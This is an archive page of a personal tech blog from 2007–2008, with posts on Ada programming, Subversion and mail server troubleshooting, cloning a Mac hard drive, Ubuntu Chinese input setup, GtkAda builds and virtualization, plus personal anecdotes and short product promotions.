Ada Obsession

June 17th, 2008 at 21:25 · Filed Under Ada, At Work, Blogging, Call Me a Geek, Software Development, Web · Comment 

Well, well, well. Kazeserver alpha RC1 has to be delayed due to some design issues and I am rewriting most part of the software so that the source can be understood easily. For the past two weeks, I was troubled by the old design but I have got a new picture now.

Isn’t Ada code easy to understand? Well, yes. But I was using a lot of Unbounded_String in records which made my code hard to read and understood. While Unbounded_String is compatible with database operation, it lacks the understandability and readability if compared to String (1 .. 10) for example.

Today, I am totally obsessed in Ada and am feeling the strongest Ada obsession after a couple of years. The feeling is still burning. If my Ada obsession keep burning, I believe I can release KazeServer for alpha testing before of June. Hopefully.

Subversion client hangs after post-commit

June 9th, 2008 at 16:29 · Filed Under Call Me a Geek, Hacking, Linux, SCM · 1 Comment 

I had been hit by this problem since I setup Subversion on Ubuntu in January. The svnserve was properly invoked on Ubuntu server but whenever any svn client was trying to commit something back to the server, the client would hang for hours before it prompted an error: “Connection reset by peers.”

I searched all the Subversion and Ubuntu forums but could not find any solution to my problem. In the past months, I tried to identify the source of the problem and even tried many solutions suggested by people on these forums but the problem persisted. I had been committing to svn server with post commit email notification turned off and lost quite a number of post commit message. I used to keep track of changes by these email notification.

Yesterdat, I was trying my luck again and I accidentally noticed sendmail and sendmail-mta were called after commit. A look into syslog confirmed that sendmail process was put into sleep by some unknown reason. Failing to identify the cause, I removed sendmail and related packages from my Ubuntu server and installed Exim4. It is claimed to be easier to installed and configured than sendmail. The problem diminished after I got exim4 up and running. Now I am able to receive post commit email notification after every svn commit. Every commit takes a few seconds to complete after this. Problem resolved.

HOWTO - Clone your Mac OS X hard drive

May 22nd, 2008 at 12:16 · Filed Under Call Me a Geek, Computing, HOWTO, Mac OS X · 6 Comments 

First of all, why do I need to clone the hard drive? Good question though. Here are a few possible answers:

  1. I have too much money to spend for a spare hard drive to clone my Mac hard drive.
  2. I want to have a bootable external hard drive, installing on an external USB hard drive is not possible.
  3. I want to upgrade my Mac’s hard drive, and I don’t want to do the installations and setup all over again

Obviously number 3 is my answer. I acquired a bigger capacity hard drive to upgrade my current 120GB hard drive in my MacBook. After some Googling around, I found an answer.

There is an Apple utility program called Apple restore or asr located in /usr/sbin. Connect your external USB hard drive and format it using Disk Utility. Open the Terminal in Applications -> Utilities. Type the following command line into the Terminal to copy your hard drive over your external drive.

% sudo asr -source /Volumes/OSX BOOT VOLUME NAME/ -target /Volumes/TARGET VOLUME NAME/

Replace “OSX BOOT VOLUME NAME” and “TARGET VOLUME NAME” with actual volume names. asr will take quite some time to copy the contents of hard drive to external hard drive. Get a cuppa, pop in your iPod earphone and relax.

When asr completes the execution, it will print a message:

asr: did not copy blessed information to target, which may have missing or out-of-date blessed folder information.

Then, bless your target drive with this:

% sudo bless -folder /Volumes/TARGET VOLUME NAME/System/Library/CoreServices

Now, the hard drive is bootable. Restart your Mac and hold down “option” key. A screen will appear allowing to choose which volume to boot from.

Hacker and Cracker

May 21st, 2008 at 16:57 · Filed Under Blogging, Call Me a Geek, Computing, Hacking, Security · 8 Comments 

I received an email from my sister, M. In her email, she pointed out I should not label myself as “hacker”. Well, I could not agree to her opinion so I decided to write this post entry to clear the name for all hackers.

Many people have watched too much Hollywood movies and have developed a perception that hackers are bad guys. They do not understand, nor can distinguish the difference between Hacker and Cracker.

Very well, Hacker and Cracker are like Good Sorcerer and Bad Sorcerer. Hackers are generally referring to a group of programmers or software engineers who dwell into codes of a computer system to find faults or loop holes so that the functionality, usually, security of the computer system can be improved. Hackers are also contributing to many open source device drivers to be used in open source software such as Linux. They study how a device communicates with a computer system without any documentation from the manufacturer (sometimes, some device manufacturers are reluctant to release technical information fearing their competitors may steal their secrets) and write codes to allow the device to communicate with the operating system.

Some hackers visit websites to look for security loop holes and put a file there to indicate their successful hack. Usually, they cause no disruption or damage but to alert system administrator of such security vulnerabilities. One of my website was hacked by hacker from Turkey last week. No damage or disruption caused but simply alerted me of security vulnerability. I quickly corrected the security flaw.

Hackers also study computer codes (binary or source) to learn about a computer software system so to rebuild another similar computer software system for the interest of know-how or to improve the software system. Instead of hacking, reverse engineering best described this type of activity.

Crackers, on the other hand, have the intention to harm or steal. They look for security vulnerabilities to get access into your computer system to cause disruption or steal your information for illicit purposes. Their ultimate goal is to cause damage or to gain something from you to be used for illicit activities, such as stealing your financial accounts or credit cards data for their financial gain.

There are many hacker organizations, for instance, BlackHat. It holds many international technical conferences and training around the world to improve information security.

Laypersons who do not understand the meaning of hacker generally think hacker is a bad guy. Being a hacker myself (sometimes), I just want to clear the name for hackers. And to show the good nature of a hacker, please read here and here.

Mathematics - The Systematic Reasoning

May 21st, 2008 at 1:50 · Filed Under Ada, Call Me a Geek, Computing, Mathematics, Pascal, Software Development · 4 Comments 

I remembered the way my mathematic teachers taught maths in class. Although none of them explained why we must learn maths, as it was the way supposed to be, they taught me systematic problem solving. I began to appreciate the beauty of mathematics when I started immersing myself in programming. The algorithm development and language constructs which are based on mathematics fascinate me with its beauty.

A good programming language teaches us systematic discipline and systematic reasoning. The first programming language which I learned was Commodore BASIC. I hated that. I learned half way (as the matter of fact, 2 days) and I switched to Apple Basic. In the mid 1980s, Apple II was the most popular home computer after Commodore VIC 20. Apple II that ran Apple DOS caught on the wagon very fast. The most common programming tool on Apple II was of course Apple BASIC. That was my first programming language and I had written many programs with it.

Then I was exposed to FORTRAN 77. The language construct was pretty much like Apple BASIC. I caught on with FORTRAN pretty fast. Then under some influences from friends whom I met at the computer center, I learned Apple Pascal. We challenged one another to increase the boot speed of Apple DOS. We rewrote Apple DOS with Apple Pascal and evidently increased the booting speed of Apple DOS.

Pascal is a very structured language (compared to Apple BASIC and FORTRAN 77) invented by Professor Niklaus Wirth to teach students programming and systematic reasoning. The structural construct of the language enable the programmer to think of the problem in a structural approach. Pascal cultivates structural discipline in solving programming problems. Pascal has provided me most of the necessary training in systematic discipline and systematic reasoning in solving problems.

When CP/M was introduced on Apple II, I was able to use UCSD Pascal on CP/M enabled Apple II machines. It won’t be long before IBM and IBM compatibles (8086) stirred up a turmoil with MS-DOS. Then, Turbo Pascal (by Borland) emerged. Turbo Pascal was the lightest and fastest compiler at that time. I became addicted in writing computer programs with Turbo Pascal.

Then I caught on with C and C++ and began to develop software with Borland’s Turbo C/C++ compiler. When MS Windows became a de-facto standard on every desktop computers, I dwelled into Borland’s Delphi (based on Object Pascal) to develop GUI applications.

During Apple CP/M era, I was exposed to Ada. I discovered Ada compiler by accident in another computer shop. I bought the program without thinking twice. Of course, it was a pirated copy. There was no copyright law then. But thanks to the pirated Ada compiler, otherwise I would not know such beautiful programming language has ever existed!

In 1995, I started to learn Ada when books were available. In no time, I fell in love with Ada until today. Whenever I was told or perhaps requested to look at computer programs written in any other languages, e.g. PHP, Visual Basic, C/C++ and etc., I feel that represent an insult to mind trained in systematic reasoning as in Pascal papers which Professor Wirth wrote.

Ada and Pascal are very alike because Ada developers had adopted Pascal’s structural language construct. Both Ada and Pascal clearly represent logical expression without any difficulties. Both languages are constructed heavily based on mathematic concepts and thus enforce systematic discipline and systematic reasoning.

Virtualization - Installing Ubuntu Linux with VMware on MacBook

May 14th, 2008 at 13:40 · Filed Under Call Me a Geek, Computing, Linux, Mac OS X, Solaris · 2 Comments 

I have successfully installed 64-bit Ubuntu 8.04 (Hardy Heron) Linux on my Mac Book. Out of my expectation, the installation was rather quick and easy compared to installing Solaris 10. I had tried installing Solaris 10 on my Mac Book. Solaris installation was successful but I couldn’t boot into it. I wondered why.

My Mac Book sports an Intel Core 2 Duo 2.16GHz with 2GB RAM and 160GB hard drive. I am too skeptical to have 2 physical partitions on my hard drive. Thanks to VMWare Fusion, I can create virtual partition with it. After I have installed VMware Fusion 1.1.1, I created a Ubuntu-64-bit virtual partition and installed Ubuntu from the ISO disk image. With VMware Fusion, I can install directly from the disk image without having to burn a CD or DVD.

Since my Mac Book is codenamed Uranus, I called my Ubuntu on Mac Book, Uranus-Zeta. The idea is from the ζ-ring of Uranus

Like Linux, Mac OS X is a UNIX like operating system. Why do I need Linux? Well, there are a number of reasons. One being you can and another to learn new things. But these are not the reasons to motivate me. Being a software developer developing cross-platform software, I do tests on multiple platforms. Having Linux to run on my MacBook means I can develop and test my software on both Mac OS X and Linux environment without switching to my Linux/Solaris boxes. Another important reason is that I see the needs to support my clients on Linux arise and soon Solaris. Having the ability to run three different operating systems on one machine can be productive and versatile for me.

The other obvious reason is that I have a Core 2 Duo. Meaning I am having two 64-bit CPUs in one processor. It will be a waste of resources if I don’t utilize the computing power I already have. Assigning each CPU to run different operating systems and tasks is called virtualization.

With VMware Fusion, I can run Linux and Solaris side-by-side with Mac OS X without the need to boot into anyone of them at one time. This is a great feature when supporting clients in Mac OS X, Linux and Solaris.

Here are some screen shots (click to enlarge) of Uranus-Zeta:

Shoulder bursitis

April 21st, 2008 at 10:15 · Filed Under Call Me a Geek, Injuries, Karate, Software Development, Sports · 1 Comment 

I had shoulder pain since March. Initially, it began at my left shoulder after waking up one morning. The pain was not too serious until recently (for the past two weeks), I had lousy sleep. Both of my shoulders were aching and often woke me up in the middle of the night. I thought it was some kind of spraining and it would go away after good rest with less training. But it seems to self-exacerbate. The pain was getting more intense every night.

Last night, I read articles about shoulder bursitis or rotator cuff injuries and treatment. After reading these articles, I decided to give it a try. I applied Fastum gel (Ketoprofen) on both shoulders. Guess what? I had the best sleep ever since March. I woke up early this morning without any pain.

Fastum is used to relief localized pain of arthritis, rheumatism or sports injury. I should have acted earlier.

On and off, I had been doing some wauke spontaneously while I was thinking or working on some programming problems. Some kind of off-my-mind of physical activities after sitting in front of computer for too long. I guess it was the effect of banging my head on the keyboard and I lost sense of safety. Without doing proper stretching, I performed wauke with speed and force as in a counter attack situation. That could have torn my muscles or tendons on the bursa and I overlook the seriousness of the pain. How insanely I was!

Alright, now I am on Ketoprofen and I am going to apply it for the second time. Hope my shoulders will recover in a month or two.

GPS Guided Delivery

January 30th, 2008 at 23:23 · Filed Under Business, Call Me a Geek, GPS, Technology · 3 Comments 

Delivery all done! A dozen hampers at 4 locations in Selangor/Kuala Lumpur. 3 out of 4 locations were alien places to me because I had never been there. Drop #1 in Sungai Long, Drop #2 was in Sungai Besi, Drop #3 in PJ and Drop #4 in Selayang. 1, 2 and 4 were places I was not familiar with and had never been there.

I arrived at Kajang toll at 1130 hours and started to use my GPS device to guide me. Found the place easily by following the GPS guidance. It took some times to navigate through some messy traffics and finding the block and the unit. But I managed to drop off and proceed to Drop #2 at 1215 hours.

Drop #2 and #4 needed some communication with the clients as their address were without street name. They used lot number as they were in industrial park. That complicated the process a little. By 1507 hours, all goods delivered.

On the night before, I researched on the GPS map and found Drop #1 and marked it. Easy job. I had to defer Drop #2 and #4 until morning so that I could call up the clients for some direction. I called them this morning and could roughly know the locations and marked them.

What made this mission interesting was an ironic demarcation which a traditional delivery versus technology-assisted delivery. While heading to Sungai Long after exiting Kajang toll, I saw a cab driver with a full load of hampers in his cab. He was on a hamper delivery mission too. The difference was that he was looking at his hand drawn map on the steering wheel. In great contrast, I was guided by GPS.

The mission had helped me to build a Clientele GIS.

IP Flooding

January 22nd, 2008 at 14:17 · Filed Under At Home, At Work, Call Me a Geek, Days in My Life, Hacking · Comment 

I am experiencing IP flooding on my router. It notifies me by email about this attack. Right now, I have identified the source and hopefully I can nail this attacker soon. This is not the first time I experience IP flooding. I have received quite many email notifications in the past 3 weeks but I was out. It is coincident that I am still at my computers solving some server problems.

SVN setup

January 22nd, 2008 at 11:53 · Filed Under At Home, At Work, Call Me a Geek, Computing, Days in My Life, Hacking, Linux, SCM · 4 Comments 

I’ve finally found time to setup svn at my home net after so many months. My svn server was down when my previous Linux box was down with a dead hard disk last year. The setup was quite a brisk. I had everything installed and configured last night. The test for remote access using a url was successful. I could import, checkout and check in. Because it was already late, about 1AM, I felt rather tire and went to bed.

This morning, I hacked some codes to provide a rather informative post commit email notification. All are done except the check in will stall. It takes a long time (and possibly hang!). I have yet to fully test before I begin my development project again.

Is your connection secured?

January 19th, 2008 at 10:33 · Filed Under Business, Call Me a Geek, Computing, Marketing, Security · Comment 

Internet has become a common tool to connect your mobile computer back to the computers in your office while you are on the go. When you are out there negotiating business with your client, you need to extract a file from your computer in your office but you are hundred or maybe thousands miles away, how can you retrieve your file?

The answer is by using FTP or File Transfer Protocol. You can make connection from your mobile computer to your office computer via an Internet connection. It is very convenient to use. But there is a security concern. All communications between your mobile and office computers can be read like an open book by anyone lurking in the Internet. You need a secured way to transfer your sensitive business data.

Pragma Systems SFTP client provides you a secured FTP connection by encrypting all data before they leave your computers. You can be rest assured of the confidentiality of your data during transmission. Don’t leave your office without it. You never know who is watching.

Product Seminars

January 15th, 2008 at 23:55 · Filed Under Business, Call Me a Geek, Computing, Conferences, Security, Social, Technology · Comment 

This morning I attended the Panasonic IP Camera Seminar at Panasonic Malaysia in Shah Alam. The drive was smooth but I was lost in Shah Alam trying to locate the place. I did not bring along my GPS but I managed to get to USJ11 where I was a little more familiar with. I took the long way by getting to the Federal Highway, paid the toll and found Panasonic Malaysia at last.

The seminar was organized by Panasonic and its distributor. Not so much of interesting talk. Organization was a little messy but overall good. Speakers were not very well trained and lack of exposure. The entire presentation was not too bad at all and it wasn’t boring as there were some people asking interesting questions. Most important of all was that I managed to establish contacts with Panasonic Malaysia.

Panasonic treated its guest very well with a nice buffet lunch. I took the lunch, washed down with dessert and drinks. Talked to my vendor and to establish closer relationship.

Then I had to rush to Hilton PJ to attend another IP camera event. It was a dealers gathering organized by Axis Communication and one of its distributor in Malaysia. The event was organized in Uncle’s Chili, a restaurant pub. Nice setup and cozy environment. The presentation was presented by Axis Singapore. The presentation was absolutely good and informative. Axis is a Swedish company and its IP cameras are world number 1.

Axis presentation had been very entertaining and educating at the same time. The presenter, Nafis Jasmani, had done a great job.

Axis and its distributor treated their guests very well too. Excellent and delicious food. I had a great “meal” with a beer together with some people I met there. Dessert was great too! The only thing I disliked was that people began to puff cigarette after food and beer. The smoke immediately destroyed the cozy environment and the nice cool air.

I spoke to Nafis before I left. We talked about Axis Developer Program and some technical details. As I understood from him, there are 4 developers in Malaysia developing some vertical Axis solutions. Quite an interesting fact.

Lost your password?

January 8th, 2008 at 23:39 · Filed Under Business, Call Me a Geek, Computing, Hacking, Marketing, Social · Comment 

There goes year-end and you need to prepare your new year budget. You retrieve an Excel budgeting file to work on. You have not been touching this file for a year and you encounter problem. You can’t remember the password to unlock the Excel file. You can’t recall where you have written down the password either. You need to do the budgeting for first review in the board meeting tomorrow. What should you do?

You need a Excel password recovery software. It is an easy to use software to unlock the password for Microsoft Word, Excel and Access. Password-Studio Pro cracks the password from instantly to within minutes. It uses Smart Dictionary and Bruteforce hacking methods. With Smart Dictionary, it checks through 5.8 million common password combinations in a matter of minutes.

Password-Studio Pro cracks your password as easy as 1-2-3. First, start the wizard. Second, select an attacking method. Third, reap your rewards.

How to choose a web hosting provider?

December 20th, 2007 at 13:12 · Filed Under Blogging, Business, Call Me a Geek, Computing, Marketing, Social, Web · Comment 

There are thousands of WHP (Web Hosting Provider) with various plans. It is very difficult to make comparison of these plans and services offered by these WHP. Finding one is already a hard start. Web Hosting Choice (http://www.webhostingchoice.com) lets you source your favorite WHP. It also provides useful database query tool to search for the WHP of your choice according to your requirement or budget.

The query tool is very easy to use. Just enter your budget and requirement parameters, for example, the monthly fee you are willing to pay, the amount of hard disk space and bandwidth you expect to be provided. Then it will list all the WHPs that fit into your budget and requirement. Simple!

Whether it is for business or personal website hosting, no more wasting time, Web Hosing Choice is the right place to begin with.

Coding War or Extinction of Human Race?

December 18th, 2007 at 16:28 · Filed Under Ada, Blogging, Call Me a Geek, Computing, Software Development · 6 Comments 

When I stumbled on this story about a software engineer and his encounter of a bug in a missile launch command and control system, I read with delight because it has been a while since I read an exciting piece of story about Ada. On the other hand, I was so nervous because our extinction might just be a string away.

The story is about a software engineer trying to maintain a 400KSLOC legacy system when the OS and compiler version were upgraded. You can read the full story here.

It is pretty exciting to read about the job of working on the legacy Ada code of such mission critical system. Why was the error occurring? What would be the consequence if the missile launch test failed? What if the missile were launched “accidentally”?

I believe, one day, the human race will extinct as was portrait in the movie Terminator. The extinction will be due to an error in a software, or rather the negligence or ignorant of a software engineer.

What the story tells us is that it appeared to be some 20 lines of code which caused the upheaval this Thanksgiving. May be it is really Thanksgiving for giving the human race another chance to survive. So, do what you want to do most, enjoy life while you can.

Steganography and Information Security

December 11th, 2007 at 18:19 · Filed Under Call Me a Geek, Hacking, Information Forensics, Technology, Web · Comment 

One of the major threats in this information age is the exposure of sensitive information in the Internet. The most common method of securing information is through encryption technology. Today, 128-bit technology is the commonly used encryption method in emails and documents. Recent upheaval as my ISP closing down port 25 for SMTP (Simple Mail Transfer Protocol) has rung an alarm to my computing needs on the Internet. My ISP’s decision is to curb spammers who have abused direct SMTP access to email servers. The act is a foolish one as this will not stop spams but at the same time, it affects those genuine users.

A 128-bit encryption can be broken into with cluster computer. A cluster computer consists of computers, called nodes, with one or more CPU. These computers are connected to a network. A special program capable of distributing calculation tasks to all the nodes is needed. This architecture is called Beowulf. Breaking a 128-bit encryption is just a matter of time depending on the number of nodes and the number of CPUs on each node.

My ISP forces all direct SMTP connection to be routed to an unsecured proxy server. As an emergency contingency to my Internet use, I quickly setup encryption for my email client. So far, the closing of port 25 has not affected me.

As I have the need to send sensitive work information across the Net, I feel the encryption is not enough on a unsecured proxy server. I would elevate the level of information security by using steganography together with encryption.

Steganography is a technique to embed information to a digital photo or picture without altering the photo or picture at eye level. The technique uses advanced algorithm to manipulate bits of data in the digital image with the bits from the information I am going to send. To extract the information from the encrypted digital image, an original image is the key. Only my intended recipient has an original copy of the digital image.

Information Forensics

December 11th, 2007 at 11:19 · Filed Under Blogging, Call Me a Geek, Computing, Hacking, Information Forensics, Web · Comment 

What is information forensics? Information forensics is a science of investigation into systemic processes that produce information. Systemic processes utilize technology, primarily computing technology, in creating, delivering, storing, evaluating and processing of information. This process is usually complement by manual process. Information forensics investigation dwells into the aspect of creation, operation and evolution of the enterprise information.

My first exposure to information forensics was during my project seeding at UTAR. Dr. Robert Tee was a good friend of mine and he exposed me to information forensics. Although we did not dwell too much deeper into it, I did some research myself and practice it. I provide Information Security Assessment Service to my clients on demand basis.

Information forensics is also very useful for SEO (Search Engine Optimization). My current SEO effort has fully utilized my skill in information forensics investigation to optimize my blog search results on search engines. I also utilize this skill to investigate the visiting patterns of my visitors by cross-referencing their IP addresses from various sources, visiting destination, search criteria, and other interests. From this information, I can have a deeper understanding of the visiting habits of my visitors and identify their search interest. To date, I have identified some spammers and reported them.

I am amazed how information forensics investigation helps me in SEO. If you would like more information about SEO or ISAS services, please visit here.

Perfectionist at work

November 8th, 2007 at 22:07 · Filed Under At Work, Blogging, Call Me a Geek, Days in My Life · Comment 

It is not easy to work with a perfectionist. It is unusually demanding to with one. I know but I like to work with a perfectionist. The worst thing is that I am also one. It is also very difficult being a perfectionist. Perfectionist has outstanding demands and high expectation.

But being a perfectionist is an advantage. A perfectionist is very good at detailed works and usually will not satisfy when the result is not finer than the expectation. This could send most people on their nerves and become mad.

HOWTO - SCIM and Ubuntu Gutsy Gibbon

October 22nd, 2007 at 11:57 · Filed Under Call Me a Geek, Computing, HOWTO, Hacking, Linux · 11 Comments 

Ubuntu Gutsy Gibbon 7.10Ubuntu 7.10, code named “Gutsy Gibbon”, has been released. I just finished upgrading from Feisty Fawn (7.04) to Gutsy Gibbon. The upgrade (downloading, unpacking, removing, installing, configuring and cleaning) took about 6 hours to complete.

The upgrade was smooth and without any problems except it broke my scim. I have exhausted the search on Internet for a fix but was disappointed. So, I tried to experiment with a few methods based on the information I had on the Internet and came up a work around for this problem.

Referring to my Chinese Input HOWTO here, I assume you have installed scim in Feisty Fawn (7.04) and later upgraded to Gutsy Gibbon (7.10).

  1. Goto System -> Preference -> Sessions. Delete the “Input Method” as created in my previous HOWTO.
  2. Uninstall and install again scim and all suggested packages.
  3. Click on menu: System -> Preferences ->Sessions
    • Click Startup Program Tab then [New] button.
    • Name: Input Methods
    • Command: scim -d
    • Click [OK] button
  4. Logout and login again.
  5. Go to System -> Administration -> Language Support
    • Select your language(s) support. In my case, Chinese and Japanese.
    • Check the box at the bottom, Input Method, to activate complex characters input. Apply, uncheck it, apply and check again and apply then quit.
    • Restart Language Support to make sure the box is checked.
  6. Logout and restart your system.
  7. Login and launch any application, e.g. gedit or Terminal. Right click and select “Input Method” and check “SCIM Input Method”.
  8. Now click on the “Input Method” tray icon on the top left of your screen to choose your desired language support and input method.

Now, you should be able to switch input method in some applications such as Terminal or gedit. It still does not work on every applications such as Open Office. To activate scim for every applications, use the command line (or Terminal):

  1. Check your locale:
    
    $ locale | grep LANG=
    
    

    The answer would be something like below, which is in my case:

    
    LANG=en_US.UTF-8
    
  2. Now, with the following command, insall scim-qtimm and tell your system you want to use scim for your input method in your locale:
    
    $ sudo apt-get install scim-qtimm
    $ im-switch -z en_US -s scim
    
    
  3. Logout and login again and start Open Office. You should now able to select your input method in every applications.

This should also work (with instructions from my previous post here) if you have a fresh installation of Gutsy Gibbon. Please let me know if this works for you.

HOWTO - Chinese input for Ubuntu

October 16th, 2007 at 14:55 · Filed Under Call Me a Geek, Chinese, Computing, HOWTO, Linux · 5 Comments 

This HOWTO guides you to install scim for Chinese Input in Ubuntu with Gnome.

  1. Install the following packages:
    • scim
    • scim-chinese
    • scim-config-socket
    • scim-frontend-socket
    • scim-gtk2-immodule
    • scim-server-socket
    • scim-tables-zh (option)
    • xfonts-intl-chinese
    • xfonts-intl-chinese-big
    • ttf-arphic-gbsn00lp
    • ttf-arphic-gkai00mp
    • ttf-arphic-bkai00mp
    • ttf-arphic-bsmi00lp
  2. Click on menu: System -> Preferences ->Sessions
    • Click Startup Program Tab then [New] button.
    • Name: Input Methods
    • Command: scim -d
    • Click [OK] button
  3. Logout and login again.
  4. You will see a new icon on the top right menu bar.
  5. Right click and select ¨SCIM¨ setup and activate languag/input support you need.
  6. Left click to choose desired input method.

Why I like Ubuntu?

October 12th, 2007 at 17:27 · Filed Under Blogging, Call Me a Geek, Computing, Linux, Software Development · Comment 

Since I switched to Ubuntu Feisty Fawn 7.04 on Spetember 26, I have been working on Ubuntu with a multitude of tasks including test compiling some Ada source codes of previous project, working on my latest Ada project, blogging, surfing, downloading torrents and many more. I personally find Ubuntu is really an OS for the human.

Unlike many other Linux favor such as Caldera (now SCO), SuSE, RedHat; it has come out of competition neatly. Based on Debian, it has a better packaging of software packages which makes installation and upgrading software components very easily and almost without hassle. The only hassle I see is when downloading some large files during a slow connection or heavy Internet traffic.

The auto-upgrade is the feature I like most in Ubuntu. It works seamlessly and the new software components are well tested before the release. I had had my system corrupted when I was using SuSE and not so long ago on FC5 (Fedora Core). Causing a lot of valuable data and time. What can I say? So far, so good!

The software update is also very frequent. This always keep my system up to date with the latest release of Ubuntu’s software components. Well done!

The other neat feature is the easy activation of SCIM, a Smart Common Input Method for all Unix-like OS for inputing complex character sets like Chinese and Japanese. This gives me another platform of choice when updating my blog and other websites (blogs) with Chinese and Japanese characters. I will write about how to activating SCIM later.

I hope Ubuntu will be the Linux for my secondary working platform.

HOWTO - Building GtkAda project with xcode

October 7th, 2007 at 11:35 · Filed Under Ada, Call Me a Geek, Computing, HOWTO, Hacking, Mac OS X, Software Development · 2 Comments 

My current project (here) requires to develop a GUI application for displaying some JPEG images. I intended to develop a native Mac OS X GUI application using Carbon or Cocoa. Since there is no Cocoa binding in Ada, I narrowed down my option to Carbon. I hit on the wall of frustration where Carbon binding on MacAda.org is very old and supports only gnat-3.3 and PPC (I hope I am not wrong on this).

I have to turn to Gtk+ which will require GtkAda and X11 on Mac OS X. I compiled my test code written for GtkAda very well on console. But when I imported the codes into xcode project, it did not compile. I got the following errors:


error: "gtk.ads" must be recompiled ("a-except.ads" has been modified)
error: "gdk.ads" must be recompiled ("a-except.ads" has been modified)
error: "glib.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-object.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-type_conversion_hooks.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada.ads" must be recompiled ("system.ads" has been modified)
error: "gtkada-bindings.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada-c.adb" must be recompiled ("system.ads" has been modified)
...

I sought help from GNAT-OSX mailing list (September 2007 archive), but there was no avail. I spent many days investigating the cause of the errors. I found out that gtkada source codes would be compiled and produced .ali and .o files in the build directory when I used gnatmake to build my GtkAda application.


$ gnatmake testproject.adb `gtkada-config`

To build a GtkAda project in xcode, follow the instructions below:

  1. In the project browser, under the Group & Files column, locate Targets and the your project name. Right click your project name and select Add Link Binary With Libraries. Select GtkAda libraries from /opt/local/lib/gtkada and necessary libraries from /opt/local/lib.
  2. Select your project name and click on the Info button. In Build tab, select Search Paths under Collection. Include /opt/local/include/gtkada in Header Search Paths. Also include /opt/local/lib and /opt/local/lib/gtkada in Library Search Paths.
  3. Select Source in your project. Select Add to Project … in Project menu. Include all the GtkAda source files in /opt/local/include/gtkada.

High Tech Baby Sitting

October 6th, 2007 at 11:40 · Filed Under At Home, Call Me a Geek, Days in My Life, Dominik, Family · Comment 

LA needs to do some shopping and it’s morning nap time for Nik. She has to leave Nik at home and I will be baby sitting Nik while she and the other two dinos go shopping!

And I have some work to do. What now? An idea sparked in my head.

I have installed a web camera on the Windows box in the living room for her and D to use so that they can communicate with me through video Skype. The main reason was to communicate with me while I was away for a month to Okinawa for my karate training.

Hmm….

So, I Skype LA at the living room and I can have the video in my working room. Nik’s napping soundly in his wonderland while I am writing this post. What a high tech daddy! :)


Skype high tech baby sitting

HOWTO - Installing gnat-4.3 on Mac OS X

October 4th, 2007 at 23:15 · Filed Under Ada, Call Me a Geek, Computing, HOWTO, Hacking, Mac OS X, Software Development · 4 Comments 

Perhaps someone has written this before but it seems no where to be found. So I just write a simple HOWTO about installing gnat-4.3 on Mac OS X.

My installation is on MacBook 2.16GHz Intel Core 2 Duo running Mac OS 10.4.10 with Xcode 2.4.1. Pre-requisition is to have Xcode installed before installing gnat-4.3.

  1. Go to MacAda.org to download gnat-4.3 and other necessary tools. Launch the installation in the disk image.
  2. Make the following softlinks:
    
    $ ln -s /usr/local/ada-4.3/bin/gcc /usr/bin/gcc-4.3
    $ ln -s /usr/local/ada-4.3/bin/g++ /usr/bin/g++-4.3
    
  3. Launch gcc_select:
    
    $ sudo gcc_select 4.3
    

Ubuntu Feisty Fawn

September 26th, 2007 at 23:37 · Filed Under Blogging, Call Me a Geek, Computing, General, Linux, Mac OS X, SCM, Software Development · 1 Comment 

A few months ago, when fornax’s hard disk was dead, I upgraded it from 40GB to 160GB and installed Debian Etch. Debian Etch has once again boosted my confidence about Linux. The graphical desktop was working up to my expectation. It could support up to 1280 x 1024 resolution! Upgrading Debian is easier compared to other Linux distros like SuSE, RedHat and etc. Actually, I quite like Debian to power fornax as an alternative development platform and also for some general purpose computing and testing purposes. I did not blog about my Debian installation a few months ago. I should blog about Ubuntu installation to record my experience.

Today, after some months, reinstalled fornax again with Ubuntu 7.04, code named Feisty Fawn. The UI is even more superb than Debian. Everything has been nicely done and packaged. To my surprised, I can run KDE applications from Gnome’s menu. This could not be done in Debian and some other Linux. How nice!

As the matter of fact, I did not like Gnome very much because KDE applications would not appear in Gome’s menu. Ubuntu has changed my perceptual experience about Gnome and once again Linux!

I find Ubuntu has more human touch than any other Linux distros. I also find that Ubuntu is very closely competitive with Mac OS X!

Really, I have download Ubuntu’s alternate install CD in June but I had never had a good reason to install Ubuntu over Debian. This morning, I had to install and configure many software, for instance, Subversion, apache and many other software development tools; it gave me a good reason to install Ubuntu. Not because Debian did not have all these software packages (Ubuntu is based on Debian), it was because I had to do most of the tasks which were almost like installing a fresh system.

Ubuntu’s installation is easier than Debian and faster. I had it up and running in less than 20 minutes!

Now, fornax has once again become my Linux development platform as well as SCM (Source Code Management) server. Oh! I run ktorrent for downloading movies as well. It really flies and sucking all the bandwidth. I have to stopped ktorrent whenever I want to work on Internet.

Adrenaline Hack

September 25th, 2007 at 14:39 · Filed Under Ada, At Home, At Work, Call Me a Geek, Computing, Days in My Life, Hacking, Mac OS X, Software Development · 4 Comments 

Wow! I’ve done it! Yes! Yes! Yes!

After a successful hack to receive a server-push JPEG stream from a video server (more story here), the next challenge for me was to display the JPEG in a GUI window.

I have been trying to get Carbon binding to work with gnat 4.3 on xcode but I am forced to abandon it for a while. I switched my target to GtkAda which will require X11 on Mac OS X. One plus side is that my application will be platform independent if I use Gtk/GtkAda. That means my application can be compiled and run on Linux, Solaris and Windows with the platform-independent GUI. More business may be and hopefully.

I was working to get GtkAda to work on my Mac since yesterday but I had corrupted some of the files I installed with Fink. Fortunately, I have a backup (actually I copied) on my MacBook but I guess I won’t need it anymore since the Gtk+2 and GtkAda are working on my Mac Mini. I will delete the copy on my MacBook later and install it with the working Gtk+/GtkAda.

I spent the entire morning and noon to write a single window, stripped down application to display the JPEG image I downloaded using the application I worked on earlier. I could not get the result. After many hours of hacking, I finally got it to work!

It is so rewarding to see it happens and I have got a good dose of adrenaline today. The feeling is difficult to describe. So it is difficult for other people to feel the excitement and the rewarding state of mind I am into.

The next challenge is to write an experimental application to continuously receive multiple streams of JPEG images and display them in multiple frames in a window, the last and toughest task with parallelism involving socket and GUI. After this, comes the serious software development by integrating all these experimental applications into a nice GUI application.

Server-Push JPEG Stream

September 13th, 2007 at 23:46 · Filed Under Ada, Call Me a Geek, Computing, Hacking, Mac OS X, Software Development, Web · 6 Comments 

I am working on a video server project since last week. This project is to develop a client software running on Mac OS X to control a video server and to retrieve streams of JPEG images from it. And of course, I am going to develop with Ada together with AWS (Ada Web Server).

